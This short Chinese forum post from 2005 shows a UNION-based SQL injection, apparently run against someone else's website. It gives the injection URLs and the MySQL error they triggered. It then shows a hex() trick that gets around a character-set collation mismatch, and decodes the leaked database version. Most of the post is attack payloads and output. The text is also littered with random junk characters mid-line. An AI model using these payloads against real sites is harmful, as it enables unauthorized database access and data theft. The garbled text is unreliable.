本文作者:SuperHei
# E5 [$ q2 s4 a文章性质:原创: w7 }& V0 [& h* c3 Q' r. Y' ?
发布日期:2005-10-18
* k2 U- z. H( }4 h7 m测试个国外的站时:& t! Z) k5 X" k# v( e
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*; K/ T, H9 q0 x+ T4 p" ]
返回错误:
" g! C7 @8 q& ]7 QIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
5 T& {9 |4 f% _9 Q0 y5 ^4 uMySQL Error No. 126
1 p# V+ i- Y% T/ b2 l- c- V! C看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
! p8 T! s# ]5 I O/ {: W4 R解决办法:转为其他编码如hex。
" J% i+ H h$ R" Ourl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*$ w8 ?) P- k ?0 `% T
成功得到hex(version())的值为:5 t U2 ~; q0 K7 h5 S1 o
342E312E332D62657461
/ {8 _ G# J; i; U9 q' |7 ?- H" _回Mysql查询下得到:8 t/ o% K! ?3 M6 p6 _. X
mysql> select 0x342E312E332D62657461;9 t+ X7 Z& M+ M3 ~
+------------------------+
0 J3 C" c/ f: d1 S& t| 0x342E312E332D62657461 |0 R& m5 q& Y. k+ @
+------------------------+& H! M# U U0 i. \+ c
| 4.1.3-beta |3 O" k q/ B5 M z: ]6 F0 I4 l
+------------------------+' O! q" A8 d* `& b0 t4 u9 M- d0 \
1 row in set (0.00 sec)
' h0 |- E" x, u$ b4 {9 |9 o6 L/ b: ]2 s% b; r" Z# ? D- v
|